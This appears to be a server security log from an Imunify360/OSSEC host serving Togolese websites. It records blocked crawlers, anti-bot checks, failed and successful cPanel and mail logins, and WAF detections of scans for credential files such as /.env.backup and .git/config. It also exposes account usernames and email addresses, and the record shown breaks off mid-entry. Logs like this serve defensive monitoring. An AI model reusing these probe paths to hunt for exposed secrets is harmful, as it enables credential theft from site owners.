IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:202.155.186.48||TA:202.155.186.48||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 23.229.126.234
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:23.229.126.234||TA:23.229.126.234||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 185.101.252.109
country_id: 2750405
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:185.101.252.109||TA:185.101.252.109||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:51:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7039892&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499090 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.224.90.240
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.224.90.240||TA:104.224.90.240||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.75.230.224
country_id: 2802361
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:103.75.230.224||TA:103.75.230.224||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.253.223.165
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.253.223.165||TA:104.253.223.165||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:51:40 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6330213&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499098 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 213.169.214.76
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:213.169.214.76||TA:213.169.214.76||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.83.130
country_id: 1861060
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:108.165.83.130||TA:108.165.83.130||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 209.242.202.21
country_id: 3190538
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:209.242.202.21||TA:209.242.202.21||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 184.72.115.35
country_id: 6252001
description:
184.72.115.35 - - [15/Jun/2026:04:54:05 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9923227&pdata=http%253A%252F%252Fns5.netmaster.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781318632 HTTP/1.1" 404 159 ns5.netmaster.tg "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:184.72.115.35


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:53:42 +0000] info [cpaneld] 103.59.161.65 - websitecpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.194.218.134
country_id: 3017382
description:
[2026-06-15 04:53:45 +0000] info [whostmgrd] 185.194.218.134 - radiotogocomtg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 04:57:47 +0000] info [cpaneld] 103.59.161.65 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 132.255.132.171
country_id: 3996063
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-58.132.255.132.171||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.69.219.155
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/env.bak||User:cloudetracks||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:59:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:59:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 192.126.169.45
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:04-58.192.126.169.45||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:04:59:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:04:59:16 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.25
country_id: 6252001
description:
205.169.39.25 - - [15/Jun/2026:04:59:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251158&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499583 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.25


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.69.219.155
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:cloudetracks||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.69.219.155
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.prod.bak||User:cloudetracks||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.69.219.155
country_id: 6252001
domain: cloud-et-racks.tg
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/sendgrid/.env.backup||User:cloudetracks||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:05:01:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12818333&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499705 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.225.106
country_id: 1269750
description:
2026-06-15 05:01:50 dovecot_plain authenticator failed for H=(balinge) [125.20.225.106]:58434: 535 Incorrect authentication data (set_id=it@cameg-togo.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.20.225.106
country_id: 1269750
description:
Jun 15 05:01:48 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.20.225.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.95.165.121
country_id: 3469034
domain: cpcalendars.davetechno.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/wordpress/.git/config||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.85
country_id: 1269750
description:
Jun 15 05:02:21 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.85 has been locked due to Imunify RBL


plugin: modsec
rule: 77093094
abuser: 100.52.195.126
country_id: 6252001
domain: www.2wd.tg
description:


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:05:03:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10340713&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781499797 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 05:05:58 +0000] info [cpaneld] 103.59.161.65 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:08:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13264794&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500088 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 139.99.170.109
country_id: 2077456
description:
139.99.170.109 - - [15/Jun/2026:05:08:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184898&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500090 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:139.99.170.109


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [15/Jun/2026:05:08:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6974315&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500089 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:08:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9871212&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500089 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.2.182
country_id: 2017370
description:
Jun 15 05:09:12 ns5 auth[3678478]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.2.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.2.182
country_id: 2017370
description:
2026-06-15 05:09:14 dovecot_login authenticator failed for H=(dsl-ncr-dynamic-209.55.23.125.airtelbroadband.in) [31.173.2.182]:48934: 535 Incorrect authentication data (set_id=elogdoyoih@otr.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.33
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sahamtg.com/wp-sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.30
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sahamtg.com/sitemap_index.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.34
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sahamtg.com/news-sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.41
country_id: 3017382
domain: www.sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sahamtg.com/news-sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.38
country_id: 3017382
domain: www.sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sahamtg.com/sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.28
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sahamtg.com/sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.190
country_id: 3017382
domain: www.sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sahamtg.com/robots.txt HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.4
country_id: 3017382
domain: www.sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sahamtg.com/sitemap_index.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.3
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sahamtg.com/sitemap.xml.gz HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.39
country_id: 3017382
domain: www.sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.sahamtg.com/sitemap.xml.gz HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.62.182
country_id: 3017382
domain: sahamtg.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/sahamtg.com/robots.txt HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [15/Jun/2026:05:12:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10055521&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500350 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.59.161.65
country_id: 1643084
description:
[2026-06-15 05:14:03 +0000] info [cpaneld] 103.59.161.65 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:14:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 212.102.39.87
country_id: 3077311
description:
212.102.39.87 - - [15/Jun/2026:05:14:53 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:212.102.39.87


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:05:15:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12805487&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500512 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:14:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.94
country_id: 2077456
description:
103.108.92.94 - - [15/Jun/2026:05:14:53 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.94


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 35.161.55.221
country_id: 6252001
description:
35.161.55.221 - - [15/Jun/2026:05:16:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853019&pdata=https%253A%252F%252Fwww.centif.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500616 HTTP/2.0" 302 0 www.centif.tg "https://www.centif.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:35.161.55.221


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.56.25.152
country_id: 6252001
domain: inger.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3865.120 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.172.59.139
country_id: 6252001
description:
2026-06-15 05:16:29 dovecot_plain authenticator failed for H=pool-71-172-59-139.nwrknj.east.verizon.net (bge7jrqu98gft6rnry9mk3ed) [71.172.59.139]:53530: 535 Incorrect authentication data (set_id=david.ayivi@mesyscom.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.101.39.161
country_id: 1643084
domain: academie.besteva1.com
description:
IM360 WAF: Bad file extension||RSV:8.16||T:APACHE||MVN:REQUEST_FILENAME||MV:/app/.env.backup||User:himcuijv||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.160.179
country_id: 6252001
description:
[2026-06-15 05:18:00 +0000] info [cpaneld] 209.50.160.179 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.91.104.176
country_id: 2328926
description:
[2026-06-15 05:18:59 +0000] info [cpaneld] 102.91.104.176 - elmkvzcm "GET /cpsess5820959709/frontend/jupiter/mime/redirect.html HTTP/1.1" DEFERRED LOGIN cpaneld: cookie ip check: IP address has changed: IP Address [23.162.8.88] != Current IP Address [102.91.104.176]


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.91.104.176
country_id: 2328926
description:
[2026-06-15 05:19:24 +0000] info [cpaneld] 102.91.104.176 - elmkvzcm "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 23.234.94.173
country_id: 6252001
description:
[2026-06-15 05:21:17 +0000] info [cpaneld] 23.234.94.173 - elmkvzcm "POST /cpsess5820959709/json-api/cpanel HTTP/1.1" DEFERRED LOGIN cpaneld: security token incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 23.234.94.173
country_id: 6252001
description:
23.234.94.173 - - [15/Jun/2026:05:20:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9737113&pdata=https%253A%252F%252Ftdn.tg%253A2083%252Fcpsess5820959709%252Ffrontend%252Fjupiter%252Fmime%252Fredirect.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500841 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg:2083/cpsess5820959709/frontend/jupiter/mime/redirect.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:23.234.94.173


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 23.234.94.173
country_id: 6252001
description:
[2026-06-15 05:20:51 +0000] info [cpaneld] 23.234.94.173 NEW elmkvzcm:CvtFeUb5lZOK9alU address=23.234.94.173,app=cpaneld,creator=elmkvzcm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.36.191.21
country_id: 2750405
description:
185.36.191.21 - - [15/Jun/2026:05:21:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6644423&pdata=https%253A%252F%252Fbutodra.tg%252Fwp-login.php&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781500884 HTTP/2.0" 302 0 butodra.tg "https://butodra.tg/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.36.191.21


plugin: modsec
rule: 77093094
